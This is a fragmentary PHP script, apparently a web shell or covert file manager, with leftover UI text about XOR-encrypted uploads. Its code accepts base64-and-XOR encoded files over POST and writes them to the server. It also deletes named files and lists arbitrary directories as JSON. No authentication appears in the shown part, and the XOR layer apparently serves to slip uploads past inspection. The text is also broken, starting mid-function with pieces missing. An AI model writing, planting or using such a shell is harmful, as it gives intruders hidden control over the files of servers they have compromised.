.

1073741824)return round($b/1073741824,2).'G';if($b>1048576)return round($b/1048576,2).'M';if($b>1024)return round($b/1024,2).'K';return $b.'B';} // Handle XOR-encrypted file upload (b64+xor) if(isset($_POST['b64'])&&isset($_POST['fn'])){ $raw=base64_decode($_POST['b64']); $dec=xor_d($raw,$XK); $fn=basename($_POST['fn']); if(file_put_contents($fn,$dec)){echo"UOK:".$fn;}else{echo"UFAIL";} die(); } // Handle file delete if(isset($_POST['del'])){ $dp=basename($_POST['del']); if(is_file($dp)){@unlink($dp);echo"DOK:".$dp;}else{echo"DFAIL";} die(); } // Directory listing $dir=isset($_POST['d'])?$_POST['d']:getcwd(); $files=@scandir($dir); function esc($s){return htmlspecialchars($s,ENT_QUOTES|ENT_HTML5,'UTF-8');} // Only output if listing requested $list_mode=isset($_POST['ls']); if(!$list_mode){ // First access — show UI ?> .

Files —

↥ Drop files or click to upload (XOR encrypted)

$f,'t'=>is_dir($fp)?'d':'f','s'=>fs(filesize($fp))]; } } header('Content-Type: application/json'); die(json_encode($out));